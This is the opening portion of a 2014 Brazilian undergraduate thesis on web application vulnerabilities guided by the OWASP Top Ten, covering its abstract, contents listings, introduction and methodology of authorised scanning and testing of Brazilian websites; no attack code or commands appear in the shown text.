Vous êtes sur la page 1sur 82

UNIVERSIDADE TECNOLGICA FEDERAL DO PARAN

CURSO SUPERIOR DE TECNOLOGIA EM SISTEMAS PARA INTERNET


WAGNER APARECIDO MONTEVERDE
ESTUDO E ANLISE DE VULNERABILIDADES WEB
TRABALHO DE CONCLUSO DE CURSO
CAMPO MOURO - PR
2014
WAGNER APARECIDO MONTEVERDE
ESTUDO E ANLISE DE VULNERABILIDADES WEB
Trabalho de Concluso de Curso apresentado ao
Curso Superior de Tecnologia em Sistemas para In-
ternet da Universidade Tecnolgica Federal do Pa-
ran como requisito parcial para obteno do grau
de Tecnlogo em Sistemas para Internet.
Orientador: Prof. MSc. Rodrigo Campiolo
CAMPO MOURO - PR
2014
RESUMO
MONTEVERDE, Wagner Aparecido. ESTUDO E ANLISE DE VULNERABILIDADES
WEB. 71 f. Trabalho de Concluso de Curso Curso Superior de Tecnologia em Sistemas para
Internet, Universidade Tecnolgica Federal do Paran. Campo Mouro - PR, 2014.
A segurana em aplicaes Web importante para prover a proteo aos clientes e servios na
Web. Inmeras vulnerabilidades Web so exploradas a cada dia e os ataques tem se tornado
mais frequentes devido a facilidade introduzida por ferramentas e pelo aumento de aplicaes e
o uso da Web. Identicar as principais vulnerabilidades Web permite estabelecer contramedidas
e garantir a segurana das aplicaes. Neste trabalho realizado o estudo e anlise de vulne-
rabilidades em aplicaes Web em diferentes tipos de aplicaes. So usadas ferramentas para
identicao de vulnerabilidades em uma amostra de stios Web heterogneos e brasileiros. Por
consequncia, foram investigadas as principais formas de ataques usadas na Web e as medidas
de preveno no ciclo de desenvolvimento e implantao das aplicaes.
Palavras-chave: Segurana da Informao, Segurana Web , Ataques
ABSTRACT
MONTEVERDE, Wagner Aparecido. . 71 f. Trabalho de Concluso de Curso Curso Superior
de Tecnologia em Sistemas para Internet, Universidade Tecnolgica Federal do Paran. Campo
Mouro - PR, 2014.
Web security is important to provide protection to clients and normal operation of the services
in Web. Several Web vulnerabilities are exploited every day and the attacks have increased due
to new tools and Web applications. So, it is important to be aware of the main Web vulnera-
bilities because we can establish preventive measures and assure integrity, condenciality and
availability of the Web applications. In this work is carried out a study and analysis of Web
vulnerabilities in different kinds of applications. A sample of heterogeneous and brazilian Web
sites was selected and analysed using open source tools. As the result, it is shown the main Web
vulnerabilities and how they can be exploited and which counter measures can be used.
Keywords: Information Security, Web Security, Attacks
LISTA DE FIGURAS
FIGURA 1 Hijacking Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
FIGURA 2 Session Fixation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
FIGURA 3 Sensitive Data Exposure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
FIGURA 4 Cross-Site Request Forgery (CSRF) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
FIGURA 5 SSL Stripping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
FIGURA 6 W3AF Scanner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
FIGURA 7 SQL Map Listando Base de dados . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
FIGURA 8 SQL Map Listando Tabelas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
FIGURA 9 SQL Map Listando Colunas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
FIGURA 10 SQL Map Extrao de Informaes da Base de Dados . . . . . . . . . . . . . . . . . . 33
FIGURA 11 Intercepter-NG menu de opes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
FIGURA 12 Intercepter-NG identicao de acesso . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
FIGURA 13 Intercepter-NG viso do cliente ao ataque . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
FIGURA 14 Intercepter-NG Interceptao de dados da vtima . . . . . . . . . . . . . . . . . . . . . . . 35
FIGURA 15 Nmap varredura padro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
FIGURA 16 Nmap varredura usurios Wordpress . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
FIGURA 17 Classicao de Riscos OWASP Top 10 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
FIGURA 18 Severidade das vulnerabilidades encontradas . . . . . . . . . . . . . . . . . . . . . . . . . . 41
FIGURA 19 Burp Suite . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
FIGURA 20 Autenticao ao Alvo Atacado . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
FIGURA 21 Extrao Cookie com Wireshark . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
FIGURA 22 Processo de injeo cookie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
FIGURA 23 Deface utilizando XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
FIGURA 24 Pgina de visualizao de Cdigo Fonte Mutillidae. . . . . . . . . . . . . . . . . . . . . 55
FIGURA 25 Live HTTP Header funo replay. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
FIGURA 26 Resultado da alterao de parmetro da requisio . . . . . . . . . . . . . . . . . . . . . 57
FIGURA 27 Captura de dados sensves com Subterfuge . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
FIGURA 28 Aplicao exemplo Falta de Controle em Nvel de Acesso . . . . . . . . . . . . . . 60
FIGURA 29 Link malicioso e resultado do click . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
LISTA DE TABELAS
TABELA 1 Viso geral das varreduras. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
TABELA 2 Distribuio dos Stios e as Vulnerabilidades Encontradas. . . . . . . . . . . . . . . 40
LISTA DE QUADROS
QUADRO 1 Exemplo Tautologia. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
QUADRO 2 Exemplo de Consulta Ilegal. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
QUADRO 3 Exemplo de Consulta utilizando o operador Union. . . . . . . . . . . . . . . . . . . . 10
QUADRO 4 Exemplo de Consulta Extra. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
QUADRO 5 Exemplo de procedure armazenada. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
QUADRO 6 Exemplo de consulta utilizando a tcnica de Inferncia . . . . . . . . . . . . . . . . 11
QUADRO 7 Exemplo de consulta utilizando Codicao Alternativa. . . . . . . . . . . . . . . 11
QUADRO 8 Exemplo XSS persistente armazenado em um post . . . . . . . . . . . . . . . . . . . . 15
QUADRO 9 Exemplo XSS Reetido. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
QUADRO 10 Exemplo XSS Baseado em DOM. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
QUADRO 11 Exemplo de XSS Basedo em DOM. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
QUADRO 12 Exemplo de Referncia Insegura a Objeto Direto. . . . . . . . . . . . . . . . . . . . . . 17
QUADRO 13 Exemplo de Falta de Controle em Nvel de Acesso. . . . . . . . . . . . . . . . . . . . 19
QUADRO 14 Exemplo de Encaminhamento e Redirecionamentos Invalidados. . . . . . . . 22
QUADRO 15 Exemplo de Encaminhamento e Redirecionamentos Invalidados 2. . . . . . 22
QUADRO 16 Sintaxe Sqlmap para listar bases de dados remotos. . . . . . . . . . . . . . . . . . . . 30
QUADRO 17 Sintaxe Sqlmap para listar tabelas em base de dados remota. . . . . . . . . . . . 31
QUADRO 18 Comando Sqlmap para listar colunas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
QUADRO 19 Comando Sqlmap para extrair dados de base remota. . . . . . . . . . . . . . . . . . . 32
QUADRO 20 Comando Nmap para iniciar varredura de portas. . . . . . . . . . . . . . . . . . . . . . 36
QUADRO 21 Comando Nmap para listar usurios de um determinado domnio Web. . . 37
QUADRO 22 Comando Sqlmap para explorar parmetros atravs do arquivo com dados
HTTP. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
QUADRO 23 Resultado da execuo do aplicativo SQLMap (quadro 22). . . . . . . . . . . . . 44
QUADRO 24 Comando SQLMap para enumerao de usurios e hashes das senhas. . . 44
QUADRO 25 Resultado da execuo SQLMap (quadro 24). . . . . . . . . . . . . . . . . . . . . . . . . 45
QUADRO 26 Comando SQLMap para enumerar bases de dados . . . . . . . . . . . . . . . . . . . . 46
QUADRO 27 Resultado da execuo SQLMap (quadro 26) . . . . . . . . . . . . . . . . . . . . . . . . . 46
QUADRO 28 Comando utilizado para listar tabelas do banco de dados . . . . . . . . . . . . . . . 47
QUADRO 29 Resultado da execuo SQLMap (quadro 28) . . . . . . . . . . . . . . . . . . . . . . . . . 47
QUADRO 30 Comando utilizado para listar estrutura da tabela alvo. . . . . . . . . . . . . . . . . . 48
QUADRO 31 Resultado da execuo do SQLMap (quadro 30). . . . . . . . . . . . . . . . . . . . . . 48
QUADRO 32 Comando utilizado para extrair dados da tabela pessoa. . . . . . . . . . . . . . . . . 48
QUADRO 33 Dados minerados da tabela pessoa. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
QUADRO 34 Comando John The Ripper para incio de ataque de fora bruta. . . . . . . . . 49
QUADRO 35 Hash quebrado utilizando John The Ripper. . . . . . . . . . . . . . . . . . . . . . . . . . . 49
QUADRO 36 Lista de comandos executados para o ataque de Quebra de Autenticao e
Gerenciamento de Sesso . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51
QUADRO 37 Comandos para realizao de ARP-Poisoning. . . . . . . . . . . . . . . . . . . . . . . . . 52
QUADRO 38 Sintaxe ltro Wireshark. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
QUADRO 39 Cdigo javascript XSS Persistente . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
QUADRO 40 URL manipulada para refereciar objetos internos da aplicao Web. . . . . 56
QUADRO 41 Bases de dados descobertas durante ataque. . . . . . . . . . . . . . . . . . . . . . . . . . . 58
QUADRO 42 URLs da aplicao com Falta de Controle em Nvel de Acesso. . . . . . . . . 60
QUADRO 43 Cdigo fonte do formulrio de mudana de senha . . . . . . . . . . . . . . . . . . . . . 61
QUADRO 44 Cdigo fonte do link malicioso utilizando imagem . . . . . . . . . . . . . . . . . . . . 61
QUADRO 45 URL com parmetro com redirecionamento para www.google.com . . . . . . 63
LISTA DE SIGLAS
EUA United States of America
OWASP Open Web Application Security Project
SQL Structured Query Language
TCP Transmission Control Protocol
UDP User Datagram Protocol
HTTPS HyperText Transfer Protocol Secure
SSL Secure Sockets Layer
PCI Payment Card Industry
ASCII American Standard Code for Information Interchange
HTTP Hypertext Transfer Protocol
CSRF Cross-Site Request Forgery
SGBD Sistema de Gerenciamento de Banco de Dados
IP Internet Protocol
LAN Local Area Network
IDS Intrusion Detection System
SSH Secure Shell
MPI Message Passing Interface
PHP Hypertext Preprocessor
SUMRIO
1 INTRODUO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.1 MOTIVAO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.2 JUSTIFICATIVA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.3 OBJETIVOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.3.1 Objetivo Geral . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.3.2 Objetivos Especcos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.4 PROCEDIMENTOS METODOLGICOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.5 ESTRUTURA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2 REFERENCIAL TERICO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
2.1 OPEN WEB APPLICATION SECURITY PROJECT (OWASP) . . . . . . . . . . . . . . . . . . 7
2.2 CONCEITOS DE SEGURANA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.3 PRINCIPAIS VULNERABILIDADES WEB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
2.3.1 Injeo de SQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
2.3.2 Quebra de Gerenciamento de Sesso . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
2.3.3 Scripts Entre Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
2.3.4 Referncia Insegura a Objeto Direto . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
2.3.5 Congurao Incorreta de Segurana . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
2.3.6 Exposio de Dados Sensveis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.3.7 Falta de Controle em Nvel de Acesso . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
2.3.8 Falsicao de Solicitao entre Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
2.3.9 Usando Componentes com Vulnerabilidades Conhecidas . . . . . . . . . . . . . . . . . . . . . . . . 21
2.3.10 Encaminhamento e Redirecionamentos Invalidados . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
2.4 OUTROS TIPOS DE ATAQUES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.4.1 SSL Stripping . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.5 TECNOLOGIAS UTILIZADAS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
2.5.1 Open Source Web Application Security Scanner (W3AF) . . . . . . . . . . . . . . . . . . . . . . . . 24
2.5.2 SQL Map . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
2.5.3 Intercepter-NG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
2.5.4 Nmap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
2.5.5 Tor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
2.5.6 Burp Suite . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
2.5.7 Outras Ferramentas Utilizadas em Ataques Especcos . . . . . . . . . . . . . . . . . . . . . . . . . . 26
2.5.7.1 Subterfurge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26
2.5.7.2 Kali Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
2.5.7.3 Greasemonkey . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
2.5.7.4 Cookie Injector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
2.5.7.5 Mutillidae . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
2.5.7.6 Damn Vulnerable Web App (DVWA) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
3 DESENVOLVIMENTO E RESULTADOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
3.1 AVALIAO DAS FERRAMENTAS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
3.1.1 W3AF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
3.1.2 SQL Map . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
3.1.3 Intercepter-NG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
3.1.4 Nmap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
3.2 ANLISE DOS STIOS WEB . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
3.2.1 Execuo de varreduras nos stios Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
3.2.2 Explorao de vulnerabilidades abordadas no Owasp Top 10 . . . . . . . . . . . . . . . . . . . . 41
3.2.2.1 Explorao SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
3.2.2.2 Explorao de Quebra de Autenticao e Gerenciamento de Sesso. . . . . . . . . . . . . . 51
3.2.2.3 Explorao de Scrits entre sites (XSS). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
3.2.2.4 Explorao de Referncia Insegura a Objeto Direto. . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
3.2.2.5 Explorao Congurao Incorreta de Segurana. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
3.2.2.6 Explorao de Exposio de Dados Sensveis. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
3.2.2.7 Explorao de Falta de Controle em Nvel de Acesso. . . . . . . . . . . . . . . . . . . . . . . . . . . 59
3.2.2.8 Explorao de Falsicao de Solicitao entre Sites. . . . . . . . . . . . . . . . . . . . . . . . . . . 61
3.2.2.9 Explorao de Componentes com Vulnerabilidades Conhecidas. . . . . . . . . . . . . . . . . 62
3.2.2.10Explorao de Encaminhamento de Redirecionamento Invalidados. . . . . . . . . . . . . . 63
3.3 CONSIDERAES FINAIS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
4 CONCLUSES E TRABALHOS FUTUROS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
REFERNCIAS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
1
1 INTRODUO
No incio, a Web foi criada sem grandes preocupaes com segurana, seu objetivo
principal era disponibilizar contedos adequados aos recursos disponveis na poca. Mas a
cada dia a Web vem se consolidando como um dos principais meios de comunicao, de rela-
cionamentos e de negcios. De uma maneira crescente empresas disponibilizam informaes,
produtos, servios e, ainda, realizam negcios cada vez mais importantes. Diante desse fatos
tornou-se de extrema necessidade garantir a segurana nas aplicaes Web. Por se tratar de ser-
vios remotos, executado muitas vezes distribuidamente, conceitos fundamentais de segurana
como condencialidade, integridade, disponibilidade e autenticidade devem estar presentes nos
sistemas para diminuir os riscos de ataques devido explorao de vulnerabilidades (MELLO
et al., 2006).
Vulnerabilidades so condies que quando exploradas por pessoas mal intencionadas
podem resultar em falhas de segurana. As vulnerabilidades Web so o resultado de um con-
junto de fatores que, emsua maioria, envolve todo processo de desenvolvimento, de manuteno
e de uso. Prazos curtos de entrega das aplicaes aliados a processos falhos de desenvolvimento
resultam em maior taxa de falhas de segurana nas aplicaes. Um ponto importante tambm
a qualicao tcnica dos desenvolvedores e uma poltica de reviso constante e de melhoria
contnua, que se no aplicadas corretamente podem levar a possveis vulnerabilidades. Mesmo
a congurao dos servidores e equipamentos de rede quando feitas de maneira padro po-
dem oportunizar brechas graves de segurana independentemente da qualidade e dos padres
de segurana aplicadas no processo de desenvolvimento.
O estudo e a anlise das principais vulnerabilidades Web possibilita aos desenvolvedo-
res uma compreenso dos principais erros cometidos no ciclo de desenvolvimento de software,
evitando assim, custos futuros com manuteno relacionadas a falhas de segurana.
2
1.1 MOTIVAO
As aplicaes caram mais visveis devido a sua disponibilidade como servios Web,
expondo seu uxo de negcios, processos e arquitetura internas (MELLO et al., 2006). Com
essa exposio grandes perdas so calculadas devido aos ataques s aplicaes Web. Segundo
Ponemon (2012), em uma amostra de dados referente a empresas dos EUA, o custo mdio anual
do cibercrime foi de US$ 8,9 milhes. Esse montante representa um aumento de 6% em relao
ao custo mdio relatado em 2011. Neste mesmo perodo houve um aumento de 42% dos ataques
virtuais com uma mdia de 102 ataques bem sucedidos por semana contra 72 ataques em 2011.
As organizaes esto gastando cada vez mais tempo, dinheiro e energia respondendo
a ataques cibernticos em nveis que em breve se tornaro insustentveis. Metade dos principais
ataques direcionados no ano de 2012 foram destinados principalmente a empresas com menos
de 2.500 funcionrios, enquanto 31% dos ataques foram direcionados a empresas com menos
de 250 funcionrios (SYMANTEC, 2013). Segundo a mesma pesquisa, as pequenas empresas
acreditam ser imunes a ataques direcionados, uma vez que o principal objetivo dos atacantes
obter informaes a respeito dos clientes.
1.2 JUSTIFICATIVA
As ameaas a segurana em sistemas em rede esto aumentando rapidamente. O Es-
pao virtual por meio da Web vem se tornado um local cada vez mais inseguro. Ao mesmo
tempo o crescimento das plataformas Web por meio de computao em nuvem, sistemas he-
terogneos e plataformas de comercio eletrnico abrem uma janela de oportunidades para o
cibercrime.
Um estudo realizado por Trustwave (2013) revelou que o principal conjunto de dados
alvo dos atacantes em 2012 foram nmeros de cartes de crditos e informaes de seus titula-
res. Em consequncia deste tipo de roubo de informao uma quantia enorme de operaes de
crdito fraudulentas foram registrados aponta o estudo. As perdas econmicas em alguns pases
chegam a um percentual entre 0,5% e 2% da renda nacional (MCAFEE, 2013).
Projetos e iniciativas atravs de empresas privadas e organizaes abertas como a Open
Web Application Security Project OWASP trabalham para a conscientizao dos prossionais e
no desenvolvimento de materiais e ferramentas para o auxilio dos desenvolvedores de sistemas.
Mesmo assim inmeras vulnerabilidades bem conhecidas ainda so encontradas nos sistemas
comprometendo sua segurana.
3
1.3 OBJETIVOS
1.3.1 OBJETIVO GERAL
Tem-se como objetivo geral neste projeto a identicao e anlise das principais vul-
nerabilidades Web encontradas em uma amostra de stios Web heterogneos e brasileiros.
Pretende-se realizar a anlise passiva de vulnerabilidades de diversos stios Web por meio de
ferramentas de varredura e explorao, alm de realizar uma investigao mais detalhada das
principais vulnerabilidades Web em estudos de casos.
1.3.2 OBJETIVOS ESPECFICOS
Tem-se por objetivos especcos:
Identicar as vulnerabilidades de um conjunto de stios Web brasileiros selecionados de
diversos segmentos orientados por um indicador de vulnerabilidades crticas internacio-
nalmente reconhecido.
Investigar a explorao das principais vulnerabilidades Web por meio de estudos de casos
reais e controlados.
Analisar as principais falhas de segurana na infraestrutura de implantao das aplicaes
Web.
Propor contramedidas de segurana em relao as vulnerabilidades encontradas.
1.4 PROCEDIMENTOS METODOLGICOS
Esta seo apresenta os procedimentos de pesquisa empregados no estudo e anlise
das principais vulnerabilidades Web. Basicamente os principais passos abordados so a seleo
e anlise dos stios considerando as vulnerabilidades Web mais comuns, a anlise de ferramen-
tas utilizadas nos ataques, a seleo e construo de cenrios de ataques, e as contramedidas
efetivas para os ataques abordados.
Na presente pesquisa foram analisados diversos stios Web de vrios segmentos. Os
critrios para a escolha dos referidos stios consideraram primeiramente stios que utilizaram
arcabouos em seu desenvolvimento bem como stios que tenham em sua base Content Mana-
gement System - (CMSs) como gerenciadores de contedo. O uso de arcabouos no desenvolvi-
mento pode induzir os programadores a falhas de congurao devido a falta de conhecimento
4
tcnico ou mesmo por falhas no prprio arcabouo utilizado. Isso tambm ocorre quando os
desenvolvedores utilizam CMSs para gerenciar contedo, falhas no prprio CMS podem oca-
sionar vulnerabilidades bem como a congurao inadequada pode resultar em brechas para
atacantes. Os stios analisados sero de domnio nacional, desde de lojas virtuais at stios
informativos de pequenas empresas ou rgos pblicos.
O foco das buscas de vulnerabilidades foi orientado por um relatrio internacional-
mente reconhecido o Owasp Top Ten (TEN, 2013). Este relatrio desenvolvido por uma
fundao que atualmente referncia em segurana Web, a OWASP, e referenciado inclusive
por normas como a Payment Card Industry PCI. O Top Ten contempla as 10 principais vulne-
rabilidades encontradas em sistemas Web nos ltimos 3 anos a nvel mundial e esto dispostas
em categorias entre A1 at A10. As 10 vulnerabilidades analisadas so:
A1 - Injeo (Injection).
A2 - Quebra de Gerenciamento de Sesso (Broken Authentication and Session Manage-
ment).
A3 - Scripts Entre Sites (Cross-Site Scripting (XSS)).
A4 - Referncia Insegura a Objeto Direto (Insecure Direct Object References).
A5 - Congurao Incorreta de Segurana (Security Misconguration).
A6 - Exposio de Dados Sensveis (Sensitive Data Exposure).
A7 - Falta de Controle em Nvel de Acesso (Missing Function Level Access Control).
A8 - Falsicao de Solicitao entre Sites (Cross-Site Request Forgery (CSRF)).
A9 - Usando Componentes com Vulnerabilidades Conhecidas (Using Components with
Known Vulnerabilities).
A10 - Encaminhamento de Redirecionamento Invalidados (Unvalidated Redirects and
Forwards) .
Segundo o Top Ten, no topo da lista de vulnerabilidades est a injeo de cdigo mali-
cioso na aplicao. A variante de ataque mais utilizada explorando essa falha o SQL injection.
Tal vulnerabilidade explorada utilizando o no tratamento de entradas de parmetros na apli-
cao. O cdigo SQL enviado por parmetro e executado no servidor de banco de dados
5
expondo informaes sensveis. Existem inmeros arcabouos que automatizam o SQL injec-
tion, neste estudo ser utilizado o Sqlmap (G.; STAMPAR, 2013). As outras vulnerabilidades
abordadas no Top Ten sero discutidas nas prximas sees.
As ferramentas utilizadas para buscar vulnerabilidades foram os Web Scanners. Tais
ferramentas automatizam o processo de busca por falhas, sendo que alguns permitem a con-
gurao do perl das vulnerabilidades desejadas. O ponto positivo da utilizao dos Scanners
foi a automatizao do processo de busca, em contrapartida podem ocorrer falsos positivos, ou
seja, a ferramenta pode indicar uma vulnerabilidade inexistente devido ao comportamento ines-
perado da aplicao. Os principais Web Scanners utilizados neste estudo foram o W3af (W3AF,
2013) e o VEGA (SUBGRAPH, 2013). Com posse dos dados das varreduras dos Web Scanners
foram ainda enumerados as principais vulnerabilidades encontradas nos domnios pesquisados.
Uma vez enumeradas as vulnerabilidades foram realizadas exploraes das mesmas
em ambientes reais e ambientes controlados. Os testes realizados em ambientes reais contaram
com a autorizao dos responsveis pelos stios Web, e todas as falhas foram reportadas aos res-
ponsveis. Os testes utilizando ambientes controlados foram executados porque os responsveis
pelos stios Web, no qual foram encontradas vulnerabilidades especcas, no autorizaram os
testes em seus stios.
Para a anlise da infraestrutura das aplicaes Web foi denida uma metodologia de
Teste de Penetrao, do ingls Penetration Testing. Trata-se de um mtodo para testar e desco-
brir vulnerabilidades em uma rede ou sistemas operacionais (GIAVAROTO; SANTOS, 2013).
Essa fase concentrou 90% dos esforos na obteno de informao sobre o alvo. Levando em
considerao que no se tinha informao nenhuma sobre as referidas infraestruturas a aborda-
gem utilizada para os testes ser a Black Box, ou seja, teste de caixa preta, em que no se tem
informao alguma sobre o alvo.
Foram efetuadas varreduras nos stios analisados buscando por falhas e vulnerabilida-
des decorrentes de congurao inadequada ou verses software antigos com possveis falhas
conhecidas e exploradas atravs de exploits. Quaisquer mquinas conectadas numa rede ofere-
cem servios que usam portas TCP e UDP possibilitando o envio de informaes e reconheci-
mento dos softwares utilizando este servio. As varreduras foram efetuadas usando tcnicas de
ataques por rastreamento de portas denominados scanning que identicaram os servios vulne-
rveis no sistema alvo. As ferramentas utilizadas para as varreduras de portas foram escolhidas
segundo suas caractersticas prprias, entre elas esto o nmap (GORDON, 2013), amap (HAU-
SER, 2013) , netcat (GIACOBBI, 2013) e hping (SANFILIPPO et al., 2013).
6
1.5 ESTRUTURA
Esta monograa est estruturada em quatro captulos. No captulo 2 apresentado o
referencial terico, abordando os conceitos de segurana, os aspectos tericos e tcnicos das
vulnerabilidades e a descrio das ferramentas de explorao. No captulo 3 apresentado o
desenvolvimento do trabalho, ou seja, a avaliao de ferramentas utilizadas, as varreduras dos
stios Web, as exploraes das vulnerabilidades e as contramedidas de segurana propostas. No
captulo 4 so apresentadas as concluses, contribuies do trabalho e os trabalhos futuros.
7
2 REFERENCIAL TERICO
O presente captulo apresenta os objetivos e a estrutura do Open Web Application
